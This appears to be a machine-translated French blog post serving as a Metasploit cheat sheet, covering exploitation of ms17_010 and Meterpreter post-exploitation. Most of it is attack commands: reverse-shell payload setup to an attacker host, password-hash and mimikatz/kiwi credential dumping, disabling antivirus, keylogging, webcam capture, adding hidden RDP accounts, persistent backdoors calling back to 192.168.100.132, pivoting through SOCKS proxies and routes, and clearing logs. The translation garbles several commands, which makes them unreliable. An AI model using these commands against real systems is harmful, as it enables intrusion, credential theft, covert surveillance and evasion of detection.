Explication très détaillée de la pénétration du métasploit (MSF) - Outil de pénétration Xiaohei

Metasploit Framework (msf) contient des milliers de vulnérabilités logicielles connues et est continuellement mis à jour. Metasploit peut être utilisé pour l'ensemble du processus de test d'intrusion tel que la collecte d'informations, la détection et l'exploitation des vulnérabilités. Il est écrit en langage Ruby. Piratez le titre de l'univers entier ! ! !

Intention initiale : enregistrer le processus de test d'intrusion de msfconsole, ainsi que certaines commandes couramment utilisées à chaque étape du processus. Vous pouvez y signaler certaines lacunes. J'ajouterai des suppléments à ce blog et noterai également les noms de chacun dans le supplément. dans le chapitre! ! Travaillons ensemble ^-^

Après la publication de ce chapitre, des tests pratiques seront publiés ultérieurement et les commandes communes pour Win et Linux seront également mises à jour.

Table des matières 

msf fourni avec Kali, mise à niveau et mise à jour

Processus d'utilisation de pénétration de base

Paramètres des paramètres de charge utile d'attaque

Meterpreter [outil post-exploitation après obtention de l'autorisation]

Fonctionnalités de Meterperter [Module de post-pénétration]

Commande de post-pénétration [commande d'informations sur le système hôte win]

Module de pénétration post-POST [Attaque de pénétration après avoir pris le contrôle de l'hôte cible]

Processus post-infiltration [Commandes communes pour le processus]

Utilisez mimikatx pour récupérer les mots de passe

Élever les privilèges [Élever les privilèges de Win au système]

Utilisation du module KiWi (le module mimikatz intégré dans msf est remplacé par kiwi)

Module de post-pénétration [Configuration des paramètres de l'application d'installation hôte]

Module de post-pénétration [Paramètres d'opération en arrière-plan]

 Créer une porte dérobée persistante

MSF crée un proxy chaussettes

Configuration du routage

Description des paramètres de routage

 système gagnant de redirection de port portfwd

PowerShell collecte des informations sur le domaine

Remarque : commande de chargement du module Meterpreter


msf fourni avec Kali, mise à niveau et mise à jour

apt update met à jour les informations du package d'installation, vérifie uniquement mais ne met pas à jour

apt update met à jour les packages installés sans supprimer les anciens packages

package de mise à niveau complète apt, supprimez l'ancien package

Si Kali n’est pas utilisé pendant une longue période, la signature numérique expirera, rendant impossible la mise à jour de la source.

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key ajoute une solution

 

Processus d'utilisation de pénétration de base

msfconsole entre dans la recherche de cadre ms17_010    

                   

rechercher pour trouver les modules d'attaque de vulnérabilité associés (Auxiliary est un module de détection auxiliaire pour détecter si la vulnérabilité existe, exploit est un module d'exploitation de vulnérabilité)

utiliser xxx/xxx/xxx utiliser le module d'attaque sélectionné

info Utilisez info pour afficher les informations sur le type de vulnérabilité (version du système ciblé, version linguistique)

show payloads Afficher les charges utiles qui peuvent être exploitées par cette vulnérabilité

définir la charge utile xxx/xxx Définir la charge utile d'attaque

show options Afficher les paramètres qui doivent être configurés par le module

show cibles Afficher les plates-formes système attaquables (par défaut, la version et la langue du système d'exploitation cible seront automatiquement déterminées)

définir xxxx définir les paramètres

exploiter / exécuter sauvegarder / attaquer (s'il s'agit d'une détection, le signe + indique l'existence de la vulnérabilité) phase post-pénétration

Paramètres des paramètres de charge utile d'attaque

set RHOST 192.168.100.158 #Set RHOST, ce qui signifie attaquer l'adresse IP de l'hôte

set LHOST 192.168.100.132 #Set LHOST, qui est l'adresse IP de notre hôte, utilisée pour recevoir le shell renvoyé par la machine cible

set lport 6666 #Définissez lport, qui est le port de notre hôte, et faites rebondir le shell sur ce port ; si nous ne définissons pas lport ici, la valeur par défaut est 4444 ports d'écoute ;

Meterpreter [outil post-exploitation après obtention de l'autorisation]

Meterpreter est une charge utile de scène. Dans le framework Metasploit, Meterpreter est une charge utile qui peut être étendue via le réseau pendant le fonctionnement. Cet outil est basé sur le concept « d'injection de DLL mémoire » , qui permet au système cible d'exécuter le fichier DLL injecté en créant un nouveau processus et en appelant la DLL injectée.

Flux de travail : la cible doit d'abord effectuer une connexion initiale de session de vulnérabilité de débordement, qui peut être une connexion de liaison avant ou une connexion d'inversion de rebond. Lors du rebond de la connexion, le fichier de lien dll est chargé et le fichier dll est traité silencieusement en arrière-plan. Ensuite, initialisez-le via le code principal de Meterpreter, établissez un tunnel crypté TLS/1.0 via le socket et envoyez une requête GET au serveur Metasploit. Après avoir reçu la requête GET, le serveur Metasploit configure le client correspondant. Enfin, Meterpreter charge l'extension et toutes les extensions chargées transmettent les données via TLS/1.0.

Fonctionnalités de Meterperter [Module de post-pénétration]

Meterpreter réside entièrement en mémoire et n'écrit pas sur le disque

Meterpreter ne crée pas de nouveau processus lorsqu'il est injecté et peut être facilement transplanté dans d'autres processus en cours d'exécution. Les communications Mertepreter sont cryptées par défaut, elles sont donc sécurisées

    Extensibilité, de nombreux nouveaux modules de fonctionnalités peuvent être chargés.            

                   Lors de la définition de la charge utile, vous pouvez la définir comme lien inverse et obtenir Meterpreter>            

                   Vous pourrez ensuite suivre le processus de pénétration

? [Saisir directement ? , vous pouvez voir la description du paramètre dans Meterpreter]

arrière-plan [meterpreter peut être monté pour fonctionner en arrière-plan]

sessions -l [Afficher la liste des sessions meterpreter_shell obtenue]

Commande de post-pénétration [commande d'informations sur le système hôte win]

sysinfo Afficher les informations sur le système hôte cible

exécuter Scraper pour afficher les détails de l'hôte cible

exécuter hashdump exporte le hachage du mot de passe

charger kiwi charger mimikatz

ps Afficher les informations sur le processus de l'hôte cible

pwd Afficher le répertoire cible actuel (windows)

getlwd Afficher le répertoire actuel du répertoire (linux) search -f *.jsp -de:\ Rechercher tous les fichiers avec le suffixe .jsp dans le lecteur e

télécharger e:\test.txt /root Téléchargez le fichier e:\test.txt de l'hôte cible dans le répertoire /root

télécharger /root/test.txt d:\test Télécharger /root/test.txt dans le répertoire d:\test\ de la machine du répertoire

getpid Afficher le PID du processus du shell Meterpreter

migrate 1384 Migrer le processus shell Merterpreter actuel vers le processus avec le PID 1384

temps d'inactivité Afficher la durée d'exécution de l'hôte

getuid Afficher les autorisations actuellement obtenues

Getsystem élève les privilèges uniquement si l'utilisateur actuel obtenu est administrateur.

exécuter killav désactive le logiciel antivirus

capture d'écran capture d'écran

webcam_list Afficher les caméras de l'hôte cible

webcam_snap prendre une photo

webcam_stream ouvrir la vidéo

paramètre d'exécution -f fichier exécutable exécute le programme exécutable

exécutez getgui -u testl -p ABC123 Créer un utilisateur testl avec le mot de passe ABC123

exécutez getgui -e démarre le bureau à distance

keyscan_start active la fonction de keylogging

keyscan_dump affiche les informations de keylogging capturées

keyscan_stop arrête la fonction de keylogging

uictl désactiver le clavier interdit à la cible d'utiliser le clavier

uictl activer le clavier permet à la cible d'utiliser le clavier

uictl désactiver la souris interdit à la cible d'utiliser la souris

uictl activate mouse permet à la cible d'utiliser la souris

le chargement utilise la bibliothèque d'extensions

exécuter en utilisant la bibliothèque d'extensions

Module de pénétration post-POST [Attaque de pénétration après avoir pris le contrôle de l'hôte cible]

gérer

exécuter la migration automatique des processus post/windows/manage/migrate 

exécutez post/windows/manage/killav pour désactiver le logiciel antivirus

exécutez post/windows/manage/enable_rdp pour ouvrir le service de bureau à distance

exécutez post/windows/manage/autoroute pour afficher les informations de routage

exécutez post/windows/manage/enable_rdp USERNAME=SS2 PASSWORD=123456     

Ajouter un utilisateur de bureau à distance

exécutez post/windows/manage/enable_rdp FORWARD=true LPORT=6662 

Port de transfert 3389 à 6662

rassembler

exécuter les listes post/windows/gather/enum_logged_on_users des utilisateurs actuellement connectés

exécutez post/windows/gather/enum_applications pour lister les applications

exécutez post/windows/gather/credentials/windows_autologin récupérez le nom d'utilisateur et le mot de passe de la connexion automatique. exécutez post/windows/gather/smart_hashdump dump le hachage de tous les utilisateurs

exécutez post/windows/gather/enum_domain pour afficher le contrôle de domaine

exécuter les informations sur le correctif post/windows/gather/enum_patches [obtenir s'il existe un numéro de correctif msf qui peut être directement utilisé]

exécutez post/windows/gather/checkvm pour vérifier si l'hôte cible s'exécute sur une machine virtuelle

   Processus post-infiltration [Commandes communes pour le processus]

sysinfo Afficher les informations sur l'hôte cible

exécutez post/windows/gather/checkvm pour vérifier si l'hôte s'exécute sur une machine virtuelle

exécuter killav désactive le logiciel antivirus de l'hôte cible

run scraper obtient les détails de l'hôte cible et accède au système de fichiers

pwd afficher le répertoire actuel

le chat lit le contenu du fichier

rm supprimer des fichiers

modifier Modifier les fichiers à l'aide de vim

mkdir crée un nouveau répertoire

rmdir supprimer le répertoire

télécharger le fichier Aide à télécharger des fichiers à partir du système cible

duload file (fichier) Télécharger des fichiers sur le système cible

La commande getuid peut obtenir les informations de l'utilisateur actuel

getsystem élève automatiquement les privilèges aux privilèges système

Utilisez mimikatx pour récupérer les mots de passe

exécutez windows/gather/credentials/windows_autologin pour récupérer le nom d'utilisateur et le mot de passe pour la connexion automatique

exécuter hashdump export hash format d'exportation du mot de passe : nom d'utilisateur : SID : hachage LM : hachage NTLM : :

L'utilisation de la commande run windows/gather/smart_hashdump nécessite des autorisations système

Condition préalable : des autorisations système sont requises pour exécuter mimikatz et lors de l'exécution, la sélection doit être basée sur le numéro de système actuel.

Vérifiez d'abord les autorisations de la session en cours (getuid), puis regardez le numéro du système (sysinfo), (télécharger) le chemin absolu du fichier téléchargé, exécutez -i -f mimikatz.exe (exécuter) [Remarque : mimikatz doit utiliser autorisations système    ]

Récupérez le mot de passe : privilège : debug

                   sekurlsa :: mots de passe de connexion

Élever les privilèges [Élever les privilèges de Win au système]

1. L'autorisation actuelle est l'utilisateur administrateur

2. Utilisez d'autres moyens pour élever d'abord les privilèges à l'utilisateur administrateur. Ensuite, l'utilisateur administrateur peut utiliser directement la commande getsystem dans meterpreter_shell pour élever les privilèges aux privilèges système.

       

getuid Afficher l'identité de l'utilisateur de la session actuelle

getsystem tente d'augmenter automatiquement les privilèges

Utilisation du module KiWi (le module mimikatz intégré dans msf est remplacé par kiwi)

Le module mimikatz intégré dans msf a été remplacé par kiwi            

         Condition préalable : élever les droits aux autorisations système. Le chargement par défaut de kiwi est de 32 bits. Si l'hôte cible est un système 64 bits, Ze doit d'abord consulter la liste des processus système, puis migrer le processus Meterpreter vers un processus de programme 64 bits avant de charger kiwi et d'afficher le texte brut du système.         

sysinfo Afficher le système 

ps pour vérifier s'il existe des processus 64 bits

migrer le processus PID                                             migre vers Pid

kiwi_cmd sekurlsa::logonpasswords peut utiliser toutes les fonctions de mimikatz

processus de visualisation PS

charger kiwi charge le module kiwi

aider kiwi Voir le module kiwi

creds_all énumère toutes les informations d'identification et peut énumérer les mots de passe en texte clair dans le système

creds_kerberos répertorie toutes les informations d'identification Kerberos

creds_msv répertorie toutes les informations d'identification msv

creds_ssp répertorie toutes les informations d'identification ssp

creds_tspkg répertorie toutes les informations d'identification tspkg

creds_wdigest répertorie toutes les informations d'identification wdigest

dcsync Récupérer les informations du compte utilisateur via dcsync

dcsync_ntlm Récupérer le hachage NTM, le SID et le RID du compte utilisateur via dcsync

golden_ticket_create crée un ticket doré

kerberos_ticket_list répertorie les tickets Kerberos

kerberos_ticket_purge efface les tickets Kerberos

kerberos_ticket_use utiliser des tickets Kerberos

kiwi_cmd exécute la commande mimikatz, suivie de la commande mimikatz.exe lsa_dump_sam vide le SAM de lsa

lsa_dump_secrets vide le texte chiffré de lsa

password_change changer le mot de passe

wifi_list répertorie les fichiers de configuration wifi de l'utilisateur actuel

wifi_list_shared répertorie les profils/encodages wifi partagés

Module de post-pénétration [Configuration des paramètres de l'application d'installation hôte]

exécutez post/windows/gathtier/enum_applications pour voir quelles applications sont installées sur l'hôte cible

exécuter + [paramètre]

-f faux jeton de thread pour exécuter le fichier exécutable spécifié

-H crée un processus caché

-a paramètres passés à la commande

-j'interagis avec le processus

-m exécuter depuis la mémoire

-t utiliser le processus de ligne actuel

-s exécute le processus dans la session donnée

capture d'écran Prendre une capture d'écran de l'écran de l'hôte cible

exécutez post/windows/gather/enum_logged_on_users pour vérifier s'il y a des utilisateurs sur l'hôte cible

créer un compte:

Méthode 1 : exécutez getgui -u username -p password

Méthode 2 : exécutez post/windows/manage/enable_rdp username=xxx password=xxxx

Activer le bureau à distance :

Idletime vérifie le temps d'inactivité de l'utilisateur distant

exécutez post/windows/manage/enable_rdp pour ouvrir le bureau à distance

exécutez post/windows/manage/enable_rdp FORWARD=true LPORT=6662 Transférer le port 3389 vers le port 6662

Module de post-pénétration [Paramètres d'opération en arrière-plan]

 Enregistreur de frappe :

keyscan_start active la fonction de keylogging

keyscan_dump affiche les informations de keylogging capturées

keyscan_stop arrête la fonction de keylogging

Empêchez l'hôte cible d'utiliser le clavier et la souris :

uictl désactivé (activer) le clavier empêche la cible d'utiliser le clavier

uictl désactiver (activer) la souris interdit à la cible d'utiliser la souris

La caméra hôte cible prend des photos :

webcam_list Récupère la liste des caméras du système cible

webcam_snap prend des photos à partir de la caméra spécifiée

webcam_stream démarre la vidéo de la caméra spécifiée

charger/utiliser le module de chargement

load -l répertorie toutes les extensions disponibles

charger -help aide ;

Instructions : Générez un cheval de Troie de porte dérobée et placez-le dans le répertoire de démarrage de Windows : C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Démarrage du service :   exécutez exploit/windows/local/peristence lhost=192.168.100.132 lport=xxx

Connexion de processus 192.168.100.132 : 8888 [Inconvénient : facile à tuer]

netstat -ano : findstr « 8888 »

 Créer une porte dérobée persistante

La connexion établie par le module Meterpreter basée sur la DLL mémoire doit laisser une porte dérobée persistante à l'intérieur du système cible.

Deux façons:

        L'un est démarré via les éléments de démarrage (persistance),

        Le deuxième service démarre (metsvc)

Éléments de démarrage :

Il faut d'abord générer un cheval de Troie de porte dérobée, puis le placer dans le répertoire de démarrage de Windows. Tant que l'ordinateur est allumé, la connexion au port correspondant peut être démarrée.

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Démarrage du service :

exécutez exploit/windows/local/persistence lhost=192.168.100.132 lport=8888        

#Il se connectera automatiquement au port 8888 du 192.168.100.132. L'inconvénient est qu'il est facile à détecter par un logiciel antivirus.

MSF crée un proxy chaussettes

Il existe trois modules proxy dans msf, chaussettes4a, chaussettes5 et chaussettes_unc. chaussettes5 peut définir le nom d'utilisateur et le mot de passe, mais parfois msf n'écoutera pas le port, ce qui peut entraîner l'échec du proxy. Utilisez auxiliaire/serveur/socks. Utilisez ce module. Le module chaussettes ici définit simplement le proxy pour qu'il écoute (la valeur par défaut est 1080), c'est-à-dire que le trafic via les chaînes proxy est transféré vers le port local 1080, et comme il s'agit du port d'écoute démarré par MSF, le processus via le le proxy peut également accéder à l’intranet.

Paramètres du proxy:

Changez le module dans msf pour utiliser auxiliaire/server/socks_proxy

show options Afficher les détails du module Définir l'adresse IP et le port de l'interface pour la surveillance des chaussettes          

définir l'adresse IP SRVHOST (127.0.0.1) et définir le port SRVPORT

Paramètres proxy de chaussettes4a :

utiliser auxiliaire/serveur/socks4a

définir SRVHOST 0.0.0.0

définir l'exécution de SRVPORT 1080

Paramètres proxy chaussettes5 :

utiliser auxiliaire/serveur/socks5

définir SRVHOST 0.0.0.0

définir SRVPORT 1080

définir la racine USERNAME

définir MOT DE PASSE Mot de passe@

courir

Agent de connexion :

Modifiez le fichier de configuration du programme proxychains local vim /etc/proxychains.conf. Le navigateur doit également configurer un proxy. Vous pouvez accéder à l'intranet directement via le navigateur et trouver la ProxyList.

[Liste des proxys]

Ajouter chaussettes5 0.0.0.0 Mot de passe root 1080 [1080 est le port d'écoute]

Lorsque vous utilisez nmap pour tester le programme, vous devez utiliser proxychains4 nma -sT -Pn xxxx.

Configuration du routage

 [Ajouter un routage avant d'utiliser un proxy]

Ajoutez d’abord une route afin que MSF puisse atteindre le réseau interne de la machine cible.

route add 209.98.32.33 mask 255.255.255.224 202.96.123.3 metric 5 Exécuter la commande pour ajouter une route

impression de l'itinéraire imprime la destination de l'itinéraire        

itinéraire supprimer 209.98.32.33 supprimer itinéraire

changement d'itinéraire 209.98.32.33 masque de réseau 255.255.255.224 202.96.123.3 métrique 5 [modifier la passerelle 209.98.32.33 en 202.96.132.3]

Redirection d'itinéraire :

première méthode :

itinéraire Afficher les informations sur le segment de réseau

background met le processus en cours en arrière-plan et revient à msf

route add 172.16.10..0 255.255.255.0 1 Ajouter une route (1 est le numéro de session en attente)

impression d'itinéraire                

Afficher les informations de routage

Méthode 2 : utiliser post/multi/manage/autoroute

définir l'exploit de la session 1 [Charger ce module directement et appeler la session]

Inconvénients : le transfert de proxy de cette manière ne peut être utilisé que par msf, d'autres applications ne peuvent pas l'utiliser et d'autres applications doivent ajouter un proxy sock.

Description des paramètres de routage

 add ajoute des enregistrements de routage                                        

 supprimer supprimer les enregistrements de routage

réseau de destination cible ou hôte de destination                                

gw définit la passerelle par défaut

mss définit la longueur maximale de bloc de TCP, en Mo            

windows spécifie la taille de la fenêtre TCP pour les connexions TCP via la table de routage

dev L'interface réseau représentée par l'enregistrement de routage

netmask définit la longueur du masque                                    

-A définit le type d'adresse      

-c imprime le cache de routage du noyau Linux  

-v afficher des informations détaillées      

 -n n'effectue pas de recherche inversée DNS et affiche directement l'adresse IP sous forme numérique

-e format netstart affiche la table de routage        

 -net Table de routage vers un réseau

-table de routage d'hôte vers un hôte

 système gagnant de redirection de port portfwd

portfwd ajouter -l 9999 -r 192.168.100.158 -p 3389             

#Transférer le port 3389 du 192.168.11.13 vers le port local 9999. 192.168.100.158 voici le droit d'obtenir

L'adresse IP de l'hôte restreint

portfwd ajouter -l 9999 -r 192.168.100.158 -p 3389    

-l port d'écoute local

-p port du serveur cible

add ajoute une connexion

Transférer le port cible vers le port d'écoute local pour recevoir les rebonds de port de l'hôte cible

rdesktop 127.0.0.1:9999 Accédez au port local 9999 pour vous connecter au port 3389 de l'hôte cible

clearev #effacer le journal

PowerShell collecte des informations sur le domaine

charger PowerShell charge la fonction PowerShell

powershell_import /root/PowerView.ps1 Importez le script PowerShell et placez-le à l'avance dans la cible spécifiée

powershell_execute Get-NetDomain Ce module obtient des informations sur le domaine

powershell_execute Invoke-UserHunter Ce module fonction est utilisé pour localiser l'hôte sur lequel l'administrateur de domaine se connecte powershell_execute Get-NetForest Ce module est utilisé pour localiser les informations sur le domaine powershell_execute Invoke-EnumerateLocalAdmin                             

Énumérer les membres du groupe Administrateurs local sur tous les ordinateurs du domaine

Remarque : commande de chargement du module Meterpreter

La commande du module Meterpreter est incomplète. Vous pouvez exécuter la commande Load  lstdapi pour charger la commande d'achèvement.

Parfois la post-pénétration reçue n'est pas une session de type Meterperpreter, vous pouvez utiliser sessions -u id pour mettre à niveau la session. Lors de l'exécution de cette commande, /post/multi/manage/shell_to_meterpreter est appelé par défaut.

L'identifiant dans les sessions -u id est l'identifiant de la charge utile

Je suppose que tu aimes

Origine blog.csdn.net/G_WEB_Xie/article/details/130560266
conseillé
Classement